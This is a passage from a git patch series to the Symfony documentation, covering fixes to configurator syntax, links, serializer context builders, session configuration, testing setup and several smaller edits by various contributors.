     you can make your voters implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`.
     This allows the access decision manager to remember the attribute and type

From c3afa28bb106f6347919ecb73578cad6344af869 Mon Sep 17 00:00:00 2001
From: Pierre Joube <pierre.joube@gmail.com>
Date: Thu, 10 Mar 2022 16:52:12 +0100
Subject: [PATCH 3067/7107] Update configurators.rst

The first example at https://symfony.com/doc/current/service_container/configurators.html#using-the-configurator will never work because ConfiguratorTrait::configurator(string|array|ReferenceConfigurator $configurator) expect only one parameter. Configurator will try to call special __invoke() (which is probably undefined at this point) method while the user expects to call configure() method. We must provide an array in this case.
---
 service_container/configurators.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 1ade37244c3..7cf3f4e09c5 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -181,10 +181,10 @@ all the classes are already loaded as services. All you need to do is specify th
             // override the services to set the configurator
             // In versions earlier to Symfony 5.1 the service() function was called ref()
             $services->set(NewsletterManager::class)
-                ->configurator(service(EmailConfigurator::class), 'configure');
+                ->configurator([service(EmailConfigurator::class), 'configure']);
 
             $services->set(GreetingCardManager::class)
-                ->configurator(service(EmailConfigurator::class), 'configure');
+                ->configurator([service(EmailConfigurator::class), 'configure']);
         };
 
 .. _configurators-invokable:

From 81faf5e3503409a001ea52c92b2a3acfd4baa935 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 10 Mar 2022 18:11:22 +0100
Subject: [PATCH 3068/7107] Fixing link

---
 reference/forms/types/enum.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 213e6bff7d6..b2e960a21ec 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -9,7 +9,7 @@ EnumType Field
    The ``EnumType`` form field was introduced in Symfony 5.4.
 
 A multi-purpose field used to allow the user to "choose" one or more options
-defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </reference/forms/types/enum>`
+defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </reference/forms/types/choice>`
 field and defines the same options.
 
 +---------------------------+----------------------------------------------------------------------+

From a7ac41fae7db4e0331ef58b95e8868c3e19124f1 Mon Sep 17 00:00:00 2001
From: mark2016 <markgiglio@gmail.com>
Date: Thu, 10 Mar 2022 14:17:14 +1100
Subject: [PATCH 3069/7107] [Mailer] Update mailer.rst

---
 mailer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/mailer.rst b/mailer.rst
index 09d22b5b777..9f26c769d82 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -229,6 +229,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Mailer\MailerInterface;
     use Symfony\Component\Mime\Email;
+    use Symfony\Component\Routing\Annotation\Route;
 
     class MailerController extends AbstractController
     {

From fde7ca7fae1535a6954562c575feaeb9b1343b2c Mon Sep 17 00:00:00 2001
From: mark2016 <markgiglio@gmail.com>
Date: Tue, 8 Mar 2022 01:09:15 +1100
Subject: [PATCH 3070/7107] Update security.rst

Added the config value for failure_path under form_login (it was missing).
---
 reference/configuration/security.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 46e16014d19..e330ec19419 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -467,6 +467,14 @@ URL and process the submitted login credentials.
 Be sure that this URL is covered by your main firewall (i.e. don't create
 a separate firewall just for ``check_path`` URL).
 
+failure_path
+..........
+
+**type**: ``string`` **default**: ``/login``
+
+This is the route or path that the user is redirected to after a failed login attempt.
+It can be a relative/absolute URL or a Symfony route name.
+
 use_forward
 ...........
 

From 889a9bf455b156f795ddc12612e16eda8a050950 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Mar 2022 12:06:09 +0100
Subject: [PATCH 3071/7107] Minor syntax issue

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index e330ec19419..6e51f7ad404 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -468,7 +468,7 @@ Be sure that this URL is covered by your main firewall (i.e. don't create
 a separate firewall just for ``check_path`` URL).
 
 failure_path
-..........
+............
 
 **type**: ``string`` **default**: ``/login``
 

From 4083d2c4c3bdad59296f3bf380597e17e58d012b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Mar 2022 12:12:17 +0100
Subject: [PATCH 3072/7107] Added the versionadded directive

---
 service_container/expression_language.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 09443b05c08..23d2415b190 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -82,6 +82,10 @@ In this context, you have access to 3 functions:
 ``env``
     Returns the value of an env variable.
 
+.. versionadded:: 6.1
+
+    The ``env()`` function was introduced in Symfony 6.1.
+
 You also have access to the :class:`Symfony\\Component\\DependencyInjection\\Container`
 via a ``container`` variable. Here's another example:
 

From dab392b1ffb8ac7a2bfa5932ee1af67c990a3b8e Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sat, 12 Feb 2022 15:17:50 +0100
Subject: [PATCH 3073/7107] [Form] Update choice_loader.rst.inc

---
 reference/forms/types/options/choice_loader.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index c44601ed3eb..9ab1fa2c4bb 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -42,9 +42,9 @@ better performance::
 
     class ConstantsType extends AbstractType
     {
-        public static function getExtendedTypes(): iterable
+        public function getParent(): string
         {
-            return [ChoiceType::class];
+            return ChoiceType::class;
         }
 
         public function configureOptions(OptionsResolver $resolver)

From 7be3c936747f67a318e6049019a00bb5c6581494 Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Sun, 6 Mar 2022 14:36:27 +0100
Subject: [PATCH 3074/7107] [Serializer] Add context builders documentation

---
 components/serializer.rst              | 35 +++++++++++
 serializer.rst                         | 55 ++++++++++++++--
 serializer/custom_context_builders.rst | 86 ++++++++++++++++++++++++++
 3 files changed, 171 insertions(+), 5 deletions(-)
 create mode 100644 serializer/custom_context_builders.rst

diff --git a/components/serializer.rst b/components/serializer.rst
index fc0d32c2531..6adf5db65de 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1202,6 +1202,41 @@ Option          Description                                               Defaul
                 to customize the encoding / decoding YAML string
 =============== ========================================================  ==========================
 
+.. _component-serializer-context-builders:
+
+Context Builders
+----------------
+
+Context builders are objects that help creating the :ref:`serialization context <serializer-context>`.
+
+You can easily use context builders by instantiating them::
+
+    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
+    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+
+    $initialContext = [
+        'custom_key' => 'custom_value',
+    ];
+
+    $contextBuilder = (new ObjectNormalizerContextBuilder())
+        ->withContext($initialContext)
+        ->withGroups(['group1', 'group2']);
+
+    $contextBuilder = (new CsvEncoderContextBuilder())
+        ->withContext($contextBuilder->toArray())
+        ->withDelimiter(';');
+
+    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
+
+.. note::
+
+    The Serializer component provides a context builder
+    for each :ref:`normalizer <component-serializer-normalizers>`
+    and :ref:`encoder <component-serializer-encoders>`.
+
+    You can also create custom context builders to deal with your
+    context values. Read more at :doc:`/serializer/custom_context_builders`.
+
 Skipping ``null`` Values
 ------------------------
 
diff --git a/serializer.rst b/serializer.rst
index ef4a8e483df..c9f42cd2751 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -89,6 +89,8 @@ possible to set the priority of the tag in order to decide the matching order.
     ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
     usage and exposing internal details.
 
+.. _serializer-context:
+
 Serializer Context
 ------------------
 
@@ -149,6 +151,46 @@ configuration:
             ;
         };
 
+.. _serializer-using-context-builders:
+
+Using Context Builders
+----------------------
+
+To define a proper (de)serialization context, you can leverage context builders.
+Those are objects that help you to create that context by providing
+auto-completion, validation, and documentation::
+
+    use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder;
+
+    $contextBuilder = (new DateTimeNormalizerContextBuilder())->withFormat('Y-m-d H:i:s');
+
+    $serializer->serialize($something, 'json', $contextBuilder->toArray());
+
+Each normalizer/encoder has its related :ref:`context builder <component-serializer-context-builders>`.
+To create a full (de)serialization context, you will be able to chain them using the
+``withContext`` method. As the ``withContext`` method takes an array as an argument, it is
+also possible to pass custom values to that context::
+
+    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
+    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+
+    $initialContext = [
+        'custom_key' => 'custom_value',
+    ];
+
+    $contextBuilder = (new ObjectNormalizerContextBuilder())
+        ->withContext($initialContext)
+        ->withGroups(['group1', 'group2']);
+
+    $contextBuilder = (new CsvEncoderContextBuilder())
+        ->withContext($contextBuilder->toArray())
+        ->withDelimiter(';');
+
+    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
+
+If you want auto-completion, validation, and documentation for your custom context values,
+you can :doc:`create your context builders </serializer/custom_context_builders>`.
+
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations
@@ -197,11 +239,13 @@ to your class::
 
 You can now choose which groups to use when serializing::
 
-    $json = $serializer->serialize(
-        $product,
-        'json',
-        ['groups' => 'show_product']
-    );
+    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+
+    $context = (new ObjectNormalizerContextBuilder())
+        ->withGroups('show_product')
+        ->toArray();
+
+    $json = $serializer->serialize($product, 'json', $context);
 
 .. tip::
 
@@ -293,6 +337,7 @@ take a look at how this bundle works.
 
     serializer/custom_encoders
     serializer/custom_normalizer
+    serializer/custom_context_builders
 
 .. _`API Platform`: https://api-platform.com
 .. _`JSON-LD`: https://json-ld.org
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
new file mode 100644
index 00000000000..2bf31680968
--- /dev/null
+++ b/serializer/custom_context_builders.rst
@@ -0,0 +1,86 @@
+.. index::
+   single: Serializer; Custom context builders
+
+How to Create your Custom Context Builder
+=========================================
+
+The :doc:`Serializer Component </components/serializer>` uses Normalizers
+and Encoders to transform any data to any data-structure (e.g. JSON).
+That serialization process could be configured thanks to a
+:ref:`serialization context <serializer-context>`, which can be built thanks to
+:ref:`context builders <component-serializer-context-builders>`.
+
+Each built-in normalizer/encoder has its related context builder.
+But, as an example, you may want to use custom context values
+for your :doc:`custom normalizers </serializer/custom_normalizer>`
+and create a custom context builder related to them.
+
+Creating a new context builder
+------------------------------
+
+Let's imagine that you want to handle date denormalization differently if they
+are coming from a legacy system, by converting them to ``null`` if the serialized
+value is ``0000-00-00``. To do that you'll first have to create your normalizer::
+
+    // src/Serializer/ZeroDateTimeDenormalizer.php
+    namespace App\Serializer;
+
+    use Symfony\Component\Serializer\Normalizer\DenormalizerAwareInterface;
+    use Symfony\Component\Serializer\Normalizer\DenormalizerAwareTrait;
+    use Symfony\Component\Serializer\Normalizer\DenormalizerInterface;
+
+    final class ZeroDateTimeDenormalizer implements DenormalizerInterface, DenormalizerAwareInterface
+    {
+        use DenormalizerAwareTrait;
+
+        public function denormalize($data, string $type, string $format = null, array $context = [])
+        {
+            if ('0000-00-00' === $data) {
+                return null;
+            }
+
+            unset($context['zero_datetime_to_null']);
+
+            return $this->denormalizer->denormalize($data, $type, $format, $context);
+        }
+
+        public function supportsDenormalization($data, string $type, string $format = null, array $context = [])
+        {
+            return true === ($context['zero_datetime_to_null'] ?? false)
+                && is_a($type, \DateTimeInterface::class, true);
+        }
+    }
+
+You'll therefore be able to cast zero-ish dates to ``null`` during denormalization::
+
+    $legacyData = '{"updatedAt": "0000-00-00"}';
+
+    $serializer->deserialize($legacyData, MyModel::class, 'json', ['zero_datetime_to_null' => true]);
+
+Then, if you don't want other developers to have to remind the precise ``zero_date_to_null`` context key,
+you can create a dedicated context builder::
+
+    // src/Serializer/LegacyContextBuilder
+    namespace App\Serializer;
+
+    use Symfony\Component\Serializer\Context\ContextBuilderTrait;
+
+    final class LegacyContextBuilder
+    {
+        use ContextBuilderTrait;
+
+        public function withLegacyDates(bool $legacy): static
+        {
+            return $this->with('zero_datetime_to_null', $legacy);
+        }
+    }
+
+And finally use it to build the serialization context::
+
+    $legacyData = '{"updatedAt": "0000-00-00"}';
+
+    $context = (new LegacyContextBuilder())
+        ->withLegacyDates(true)
+        ->toArray();
+
+    $serializer->deserialize($legacyData, MyModel::class, 'json', $context);

From 54575d07b14c6ef7e7a2936d86a4ed2820b3dc53 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Sat, 5 Feb 2022 10:51:21 +0330
Subject: [PATCH 3075/7107] [Session] Update session.rst v4.4

---
 session.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/session.rst b/session.rst
index 6465cdb3b54..57072dbdb37 100644
--- a/session.rst
+++ b/session.rst
@@ -17,15 +17,15 @@ sessions, check their default configuration:
 
         # config/packages/framework.yaml
         framework:
+            # Enables session support. Note that the session will ONLY be started if you read or write from it.
+            # Remove or comment this section to explicitly disable session support.
             session:
-                # enables the support of sessions in the app
-                enabled: true
-                # ID of the service used for session storage.
+                # ID of the service used for session storage
                 # NULL means that Symfony uses PHP default session mechanism
                 handler_id: null
                 # improves the security of the cookies used for sessions
-                cookie_secure: 'auto'
-                cookie_samesite: 'lax'
+                cookie_secure: auto
+                cookie_samesite: lax
 
     .. code-block:: xml
 
@@ -40,13 +40,13 @@ sessions, check their default configuration:
 
             <framework:config>
                 <!--
-                    enabled: enables the support of sessions in the app
+                    Enables session support. Note that the session will ONLY be started if you read or write from it.
+                    Remove or comment this section to explicitly disable session support.
                     handler-id: ID of the service used for session storage
                                 NULL means that Symfony uses PHP default session mechanism
                     cookie-secure and cookie-samesite: improves the security of the cookies used for sessions
                 -->
-                <framework:session enabled="true"
-                                   handler-id="null"
+                <framework:session handler-id="null"
                                    cookie-secure="auto"
                                    cookie-samesite="lax"/>
             </framework:config>
@@ -56,9 +56,9 @@ sessions, check their default configuration:
 
         // config/packages/framework.php
         $container->loadFromExtension('framework', [
+            // Enables session support. Note that the session will ONLY be started if you read or write from it.
+            // Remove or comment this section to explicitly disable session support.
             'session' => [
-                // enables the support of sessions in the app
-                'enabled' => true,
                 // ID of the service used for session storage
                 // NULL means that Symfony uses PHP default session mechanism
                 'handler_id' => null,

From 48124cf2f4d92220f8cf10c040c9209b6f8086fc Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Sat, 5 Feb 2022 11:00:34 +0330
Subject: [PATCH 3076/7107] Update session.rst v5.4/6

---
 session.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 1bea562164c..0331b964cfd 100644
--- a/session.rst
+++ b/session.rst
@@ -26,6 +26,7 @@ sessions, check their default configuration:
                 # improves the security of the cookies used for sessions
                 cookie_secure: auto
                 cookie_samesite: lax
+                storage_factory_id: session.storage.factory.native
 
     .. code-block:: xml
 
@@ -48,7 +49,8 @@ sessions, check their default configuration:
                 -->
                 <framework:session handler-id="null"
                                    cookie-secure="auto"
-                                   cookie-samesite="lax"/>
+                                   cookie-samesite="lax"
+                                   storage_factory_id="session.storage.factory.native"/>
             </framework:config>
         </container>
 
@@ -68,6 +70,7 @@ sessions, check their default configuration:
                 // improves the security of the cookies used for sessions
                 ->cookieSecure('auto')
                 ->cookieSamesite('lax')
+                ->storage_factory_id('session.storage.factory.native')
             ;
         };
 

From 30e02a99fb5e36da8c29b68bdbcf0376db860b3f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Mar 2022 16:41:03 +0100
Subject: [PATCH 3077/7107] Removed redundancy in package requirements

---
 testing.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index 44cd42f964d..c978c7a1ace 100644
--- a/testing.rst
+++ b/testing.rst
@@ -15,13 +15,12 @@ Symfony integrates with an independent library called `PHPUnit`_ to give
 you a rich testing framework. This article won't cover PHPUnit itself,
 which has its own excellent `documentation`_.
 
-Before creating your first test, install ``phpunit/phpunit`` and the
-``symfony/test-pack``, which installs some other packages providing useful
-Symfony test utilities:
+Before creating your first test, install ``symfony/test-pack``, which installs
+some other packages needed for testing (such as ``phpunit/phpunit``):
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit symfony/test-pack
+    $ composer require --dev symfony/test-pack
 
 After the library is installed, try running PHPUnit:
 

From b9862d0c2c80fd44c245530bbcd33e29c216025a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Mar 2022 17:15:18 +0100
Subject: [PATCH 3078/7107] Fix Symfony installation commands for 6.1 version

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 12adcb7fcc8..2c5e16fed95 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version=6.1 --webapp
+    $ symfony new my_project_directory --version=next --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version=6.1
+    $ symfony new my_project_directory --version=next
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you

From 77d46f32d3f8731fc5981bb440a7b9f3576b2038 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Mar 2022 17:48:56 +0100
Subject: [PATCH 3079/7107] [ExpressionLanguage] Add support for new number
 syntax

---
 components/expression_language/syntax.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index a4c17f81a27..4d1f474008d 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -14,13 +14,21 @@ Supported Literals
 The component supports:
 
 * **strings** - single and double quotes (e.g. ``'hello'``)
-* **numbers** - e.g. ``103``
+* **numbers** - integers (e.g. ``103``), decimals (e.g. ``9.95``), decimals
+  without leading zeros (e.g. ``.99``, equivalent to ``0.99``); all numbers
+  support optional underscores as separators to improve readability (e.g.
+  ``1_000_000``, ``3.14159_26535``)
 * **arrays** - using JSON-like notation (e.g. ``[1, 2]``)
 * **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``)
 * **booleans** - ``true`` and ``false``
 * **null** - ``null``
 * **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
 
+.. versionadded:: 6.1
+
+    Support for decimals without leading zeros and underscore separators were
+    introduced in Symfony 6.1.
+
 .. caution::
 
     A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string

From 0b1f3021bd2f6faebdc1664317612aa2dbad06ca Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 12 Mar 2022 15:01:33 +0100
Subject: [PATCH 3080/7107] Typo

---
 reference/constraints/All.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index cfcf75343fd..70a8b9e4fe4 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -43,7 +43,7 @@ entry in that array:
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        // IMPORTANT: nested attributes requires PHP 8.1 or higher
+        // IMPORTANT: nested attributes require PHP 8.1 or higher
         class User
         {
             #[Assert\All([

From eb2ce88c6d6a09ec4d541b16f6d2c80af1e4e898 Mon Sep 17 00:00:00 2001
From: Ahmed Bouras <48674780+ahmedbrs@users.noreply.github.com>
Date: Sun, 13 Mar 2022 16:04:04 +0100
Subject: [PATCH 3081/7107] Update service_container.rst

Hi ! If I'm not mistaking, we should extending the AbstractController to add a service in a controller.
---
 service_container.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index ff1758b1bb3..3dea1fe9825 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -32,10 +32,11 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
     namespace App\Controller;
 
     use Psr\Log\LoggerInterface;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
-    class ProductController
+    class ProductController extends AbstractController
     {
         /**
          * @Route("/products")

From ac8a98871e85a01f321b40294e0f4786d0dba285 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 15 Feb 2022 17:15:07 +0100
Subject: [PATCH 3082/7107] minor #16506 [Form] Update
 create_form_type_extension.rst (issamkhadiri1989)

This PR was submitted for the 6.0 branch but it was merged into the 5.4 branch instead.

Discussion
----------

[Form] Update create_form_type_extension.rst

Hello,
I think the condition `image_url is not null` is not enough as if we create a FileType form field without the `image_property` it causes an error. Adding `image_url is defined` is necessary  because the variable `image_url` is only defined and passed to the view when `image_property` is already defined.

<!--

If your pull request fixes a BUG, use the oldest maintained branch that contains
the bug (see https://symfony.com/releases for the list of maintained branches).

If your pull request documents a NEW FEATURE, use the same Symfony branch where
the feature was introduced (and `6.x` for features of unreleased versions).

-->

Commits
-------

85470c59f Update create_form_type_extension.rst
---
 form/create_form_type_extension.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 9bb0abc2d8e..9e0066d7be8 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -192,7 +192,7 @@ Specifically, you need to override the ``file_widget`` block:
 
     {% block file_widget %}
         {{ block('form_widget') }}
-        {% if image_url is not null %}
+        {% if image_url is defined and image_url is not null %}
             <img src="{{ asset(image_url) }}"/>
         {% endif %}
     {% endblock %}

From 3a9f28a3b9a57fb6dd370ce68da337bc43d89c86 Mon Sep 17 00:00:00 2001
From: Maciej Kosiarski <maciek.kosiarski@gmail.com>
Date: Sun, 13 Mar 2022 19:15:42 +0100
Subject: [PATCH 3083/7107] Add quotations marks

Add quotations marks in generates getter/setter methods for one specific Entity example, current example command return "[ERROR] No entities were found in the "AppEntityAdwordsCountry" namespace."
---
 doctrine/reverse_engineering.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 74d56159ac3..ddce4050a82 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -103,7 +103,7 @@ run:
     $ php bin/console make:entity --regenerate App
 
     // generates getter/setter methods for one specific Entity
-    $ php bin/console make:entity --regenerate App\Entity\Country
+    $ php bin/console make:entity --regenerate "App\Entity\Country"
 
 .. note::
 

From 0d166d7093d487080c41e59cc35297331a2a2e05 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Wed, 16 Mar 2022 14:49:37 +0100
Subject: [PATCH 3084/7107] [Security] Fix wrong anchor

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 16442d23b58..d29f1480f78 100644
--- a/security.rst
+++ b/security.rst
@@ -28,7 +28,7 @@ creates a ``security.yaml`` configuration file for you:
     # config/packages/security.yaml
     security:
         enable_authenticator_manager: true
-        # https://symfony.com/doc/current/security.html#c-hashing-passwords
+        # https://symfony.com/doc/current/security.html#registering-the-user-hashing-passwords
         password_hashers:
             Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
         # https://symfony.com/doc/current/security.html#where-do-users-come-from-user-providers

From 052071e8331ffae8bae7ae649f244a6cf8cd6082 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 16 Mar 2022 17:46:40 +0100
Subject: [PATCH 3085/7107] Reference the internal ErrorDetailsStamp

Close https://github.com/symfony/symfony-docs/issues/14319
---
 components/messenger.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/messenger.rst b/components/messenger.rst
index 2e853f69ab6..99946b72b7e 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -162,6 +162,8 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
    to configure the serialization groups used by the transport.
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp`,
    to configure the validation groups used when the validation middleware is enabled.
+#. :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
+   an internal stamp when a messages fails due to an exception in the handler.
 
 Instead of dealing directly with the messages in the middleware you receive the envelope.
 Hence you can inspect the envelope content and its stamps, or add any::

From c22dc202295691bbdf2168af3ddaab8a26258935 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net>
Date: Wed, 16 Mar 2022 18:03:42 +0100
Subject: [PATCH 3086/7107] Documentation for env() function in route condition

---
 routing.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/routing.rst b/routing.rst
index 9f7a1fca581..74e3a7fee02 100644
--- a/routing.rst
+++ b/routing.rst
@@ -414,6 +414,11 @@ and can use any of these variables created by Symfony:
     The :ref:`Symfony Request <component-http-foundation-request>` object that
     represents the current request.
 
+Additionnal functions are provided:
+
+``env(string $name)``
+    Read a variable using :doc:`Environment Variable Processors <configuration/env_var_processors>`
+
 Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes
 for the underlying PHP to execute.

From 28d6b6b3f98fd2285fd65c444b3557ea02030d88 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 16 Mar 2022 19:00:25 +0100
Subject: [PATCH 3087/7107] [Dotenv] Document internal dump-env command

Close https://github.com/symfony/symfony-docs/issues/15878
---
 deployment.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/deployment.rst b/deployment.rst
index 369256bf316..e3bbea2a2a8 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -166,6 +166,21 @@ most natural in your hosting environment.
 
         $ composer dump-env prod --empty
 
+    Sometimes ``composer`` may not be installed on your hosting environment. Thus you
+    have to install and package Composer related code logic way before deploying.
+    Another way to generate this optimized file is to manually register the built in
+    command `Symfony\\Component\\Dotenv\\Command\\DotenvDumpCommand`
+    and use it:
+
+    .. code-block:: yaml
+
+    services:
+        Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
+
+    .. code-block:: terminal
+
+        $ APP_ENV=prod APP_DEBUG=0 php bin/console dotenv:dump
+
 C) Install/Update your Vendors
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 9cb56a29c1100f528d362ae8d02369abd3f58b7d Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Thu, 17 Mar 2022 10:11:09 +0100
Subject: [PATCH 3088/7107] Add hint how to debug argument resolver order

---
 controller/argument_value_resolver.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 5d5abc7ed62..bc023101fce 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -242,6 +242,13 @@ Otherwise, set a priority lower than ``100`` to make sure the argument resolver
 is not triggered when the ``Request`` attribute is present (for example, when
 passing the user along sub-requests).
 
+To ensure your resolvers are added in the right position you can run the following
+command to see which argument resolvers are present and in which order they run.
+
+.. code-block:: terminal
+    
+    $ php bin/console debug:container debug.argument_resolver.inner --show-arguments
+
 .. tip::
 
     As you can see in the ``UserValueResolver::supports()`` method, the user

From a8c4ec341ab87239f07325cc0936635fbeab920d Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Thu, 17 Mar 2022 10:20:36 +0100
Subject: [PATCH 3089/7107] Add hint about #[CurrentUser] to the
 argument_value_resolver page

---
 controller/argument_value_resolver.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 5d5abc7ed62..0c96f1a3663 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -49,9 +49,10 @@ In addition, some components and official bundles provide other value resolvers:
 
 :class:`Symfony\\Component\\Security\\Http\\Controller\\UserValueResolver`
     Injects the object that represents the current logged in user if type-hinted
-    with ``UserInterface``. Default value can be set to ``null`` in case
-    the controller can be accessed by anonymous users. It requires installing
-    the :doc:`SecurityBundle </security>`.
+    with ``UserInterface``. You can also type-hint your own ``User`` class but you
+    must then add the ``#[CurrentUser]`` attribute to the argument. Default value
